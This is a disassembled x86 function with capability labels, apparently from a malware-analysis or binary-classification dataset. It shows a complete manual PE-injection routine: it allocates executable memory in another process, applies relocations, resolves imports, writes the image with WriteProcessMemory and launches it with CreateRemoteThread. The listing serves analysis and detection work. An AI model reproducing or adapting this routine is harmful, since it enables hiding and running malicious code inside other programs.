Function at 0x402390
Capabilities:
Allocate or change rwx memory
Create thread
Inject pe
Inject thread
Parse pe header
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x57a6c8
push 0x51cbf0
mov eax, dword fs:[0]
push eax
add esp, 0xffffff20
mov eax, dword [0x58df90]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
push 0x40
push 0x1000
mov eax, dword [ebp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
jne 0x4023f6
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402c78
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.00520630
add esp, 0xc
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0xbc], edx
mov eax, dword [ebp - 0xbc]
mov ecx, dword [eax + 0x3c]
add ecx, dword [ebp - 0x58]
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0xbc]
movzx eax, word [edx]
cmp eax, 0x5a4d
jne 0x402452
mov ecx, dword [ebp - 0x54]
cmp dword [ecx], 0x4550
je 0x402489
push 0x8000
push 0
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xcc], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xcc]
jmp 0x402c78
push 0x40
push 0x1000
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx + 0x50]
push edx
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jne 0x4024e3
push 0x8000
push 0
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xf0], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xf0]
jmp 0x402c78
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x34]
cmp ecx, dword [ebp - 0x5c]
je 0x4026d0
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x5c]
sub eax, dword [edx + 0x34]
mov dword [ebp - 0xc4], eax
mov ecx, 8
imul edx, ecx, 5
mov eax, dword [ebp - 0x54]
cmp dword [eax + edx + 0x78], 0
je 0x40253e
mov ecx, 8
imul edx, ecx, 5
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + edx + 0x78]
push ecx
mov edx, dword [ebp - 0x54]
push edx
call fcn.00401d20
add esp, 8
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
jne 0x40258a
push 0x8000
push 0
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xdc]
jmp 0x402c78
mov ecx, dword [ebp - 0xb0]
add ecx, dword [ebp - 0x58]
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0x80]
cmp dword [edx + 4], 0
jne 0x4025a4
jmp 0x4026d0
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax + 4]
sub ecx, 8
shr ecx, 1
mov dword [ebp - 0xc0], ecx
mov edx, dword [ebp - 0x80]
add edx, 8
mov dword [ebp - 0x74], edx
mov dword [ebp - 0x90], 0
jmp 0x4025d9
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x90]
cmp ecx, dword [ebp - 0xc0]
jae 0x4026be
mov edx, dword [ebp - 0x74]
movzx eax, word [edx]
and eax, 0xfff
mov ecx, dword [ebp - 0x80]
add eax, dword [ecx]
mov dword [ebp - 0xd4], eax
mov edx, dword [ebp - 0x74]
movzx eax, word [edx]
sar eax, 0xc
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
je 0x4026b0
mov ecx, dword [ebp - 0xd4]
push ecx
mov edx, dword [ebp - 0x54]
push edx
call fcn.00401d20
add esp, 8
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
jne 0x40268b
push 0x8000
push 0
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xe4], 0
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0xe4]
jmp 0x402c78
mov ecx, dword [ebp - 0x9c]
add ecx, dword [ebp - 0x58]
mov dword [ebp - 0xa8], ecx
mov edx, dword [ebp - 0xa8]
mov eax, dword [edx]
add eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x74]
add edx, 2
mov dword [ebp - 0x74], edx
jmp 0x4025ca
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x80], eax
mov ecx, dword [ebp - 0x74]
cmp dword [ecx], 0
jne 0x402596
mov edx, 8
shl edx, 0
mov eax, dword [ebp - 0x54]
cmp dword [eax + edx + 0x78], 0
je 0x402886
mov ecx, 8
shl ecx, 0
mov edx, dword [ebp - 0x54]
mov eax, dword [edx + ecx + 0x78]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.00401d20
add esp, 8
mov dword [ebp - 0xc8], eax
mov edx, dword [ebp - 0xc8]
add edx, dword [ebp - 0x58]
mov dword [ebp - 0x78], edx
imul eax, dword [ebp - 0x68], 0x14
mov ecx, dword [ebp - 0x78]
cmp dword [ecx + eax + 0x10], 0
je 0x402886
imul edx, dword [ebp - 0x68], 0x14
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + edx + 0xc]
push ecx
mov edx, dword [ebp - 0x54]
push edx
call fcn.00401d20
add esp, 8
add eax, dword [ebp - 0x58]
mov dword [ebp - 0xa0], eax
imul eax, dword [ebp - 0x68], 0x14
mov ecx, dword [ebp - 0x78]
cmp dword [ecx + eax], 0
je 0x402766
imul edx, dword [ebp - 0x68], 0x14
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + edx]
mov dword [ebp - 0xb8], ecx
jmp 0x402777
imul edx, dword [ebp - 0x68], 0x14
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax + edx + 0x10]
mov dword [ebp - 0xb8], ecx
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0x54]
push eax
call fcn.00401d20
add esp, 8
add eax, dword [ebp - 0x58]
mov dword [ebp - 0x84], eax
imul ecx, dword [ebp - 0x68], 0x14
mov edx, dword [ebp - 0x78]
mov eax, dword [edx + ecx + 0x10]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.00401d20
add esp, 8
add eax, dword [ebp - 0x58]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x64], 0
mov edx, dword [ebp - 0x64]
mov eax, dword [ebp - 0x84]
cmp dword [eax + edx*4], 0
je 0x402878
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x84]
mov eax, dword [edx + ecx*4]
and eax, 0x80000000
je 0x40281e
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x84]
mov eax, dword [edx + ecx*4]
sub eax, 0x80000000
push eax
mov ecx, dword [ebp - 0xa0]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [ebp - 0x64]
mov ecx, dword [ebp - 0xa4]
mov dword [ecx + edx*4], eax
mov edx, dword [ebp - 0x64]
add edx, 1
mov dword [ebp - 0x64], edx
jmp 0x4027bb
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x84]
mov edx, dword [ecx + eax*4]
push edx
mov eax, dword [ebp - 0x54]
push eax
call fcn.00401d20
add esp, 8
add eax, dword [ebp - 0x58]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0xd0]
add ecx, 2
push ecx
mov edx, dword [ebp - 0xa0]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0xa4]
mov dword [edx + ecx*4], eax
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
jmp 0x4027bb
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
jmp 0x402714
mov dword [ebp - 4], 0xfffffffe
jmp 0x4028eb
push 0x40
push 0x1000
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x50]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jne 0x402941
push 0x8000
push 0
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
mov ecx, dword [ebp - 0x58]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x402c78
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x50]
push ecx
push 0
mov edx, dword [ebp - 0x70]
push edx
call fcn.0051cf30
add esp, 0xc
mov eax, dword [ebp - 0x54]
movzx ecx, word [eax + 0x14]
mov edx, dword [ebp - 0x54]
lea eax, [edx + ecx + 0x18]
mov dword [ebp - 0x88], eax
mov ecx, 0x28
imul edx, ecx, 0
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax + edx + 0x14]
push ecx
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00520630
add esp, 0xc
mov dword [ebp - 0x6c], 0
jmp 0x40299f
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x54]
movzx eax, word [edx + 6]
cmp dword [ebp - 0x6c], eax
jae 0x402a00
imul ecx, dword [ebp - 0x6c], 0x28
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + ecx + 0x14]
add eax, dword [ebp - 0x58]
mov dword [ebp - 0xe0], eax
imul ecx, dword [ebp - 0x6c], 0x28
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + ecx + 0xc]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0xe8], eax
imul ecx, dword [ebp - 0x6c], 0x28
mov edx, dword [ebp - 0x88]
mov eax, dword [edx + ecx + 0x10]
push eax
mov ecx, dword [ebp - 0xe0]
push ecx
mov edx, dword [ebp - 0xe8]
push edx
call fcn.00520630
add esp, 0xc
jmp 0x402996
mov dword [ebp - 0x8c], 0
mov byte [ebp - 0x5d], 0
push 0x40
push 0x3000
push 0x20
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x5c]
add edx, dword [ecx + 0x28]
mov eax, 1
imul ecx, eax, 9
mov dword [ecx + 0x58f268], edx
lea edx, [ebp - 0xac]
push edx
push 0x20
push 0x58f268
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea edx, [ebp - 0x8c]
push edx
push 0x40
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x402c00
mov byte [ebp - 0x5d], 1
lea ecx, [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x54]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov ecx, dword [ebp - 0x8c]
push ecx
mov edx, dword [ebp - 0x54]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov dword [ebp - 0x7c], 0
xor eax, eax
mov word [ebp - 0x98], ax
push 0x5716d4
lea ecx, [ebp - 0x98]
push ecx
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x58]
push eax
call fcn.00401e20
add esp, 0x10
test eax, eax
je 0x402bb9
mov ecx, dword [ebp - 0x7c]
add ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x7c], ecx
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x5c]
mov dword [ecx + eax + 0x10], edx
mov eax, 4
shl eax, 0
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x54]
mov edx, dword [edx + 0x50]
mov dword [ecx + eax + 0x10], edx
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x5c]
add ecx, dword [eax + 0x28]
mov edx, 4
shl edx, 1
mov eax, dword [ebp + 0x14]
mov dword [eax + edx + 0x10], ecx
mov ecx, 4
imul edx, ecx, 3
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x14]
mov ecx, dword [ecx + 0xc]
mov dword [eax + edx + 0x10], ecx
lea edx, [ebp - 0x8c]
push edx
push 0x40
push 0x190
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea edx, [ebp - 0xac]
push edx
push 0x190
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp + 0x14]
lea eax, [edx + ecx + 0x10]
push eax
mov ecx, dword [ebp - 0x7c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, dword [ebp - 0x8c]
push eax
push 0x190
mov ecx, dword [ebp - 0x7c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x94]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jne 0x402be9
mov byte [ebp - 0x5d], 0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402c20
push 0x5716e4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x8000
push 0
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
push 0x5716f0
push 0x32
lea edx, [ebp - 0x50]
push edx
call fcn.0051ae04
add esp, 0x14
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x8000
push 0
mov ecx, dword [ebp - 0x70]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
mov edx, dword [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, byte [ebp - 0x5d]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0051ad52
mov esp, ebp
pop ebp
ret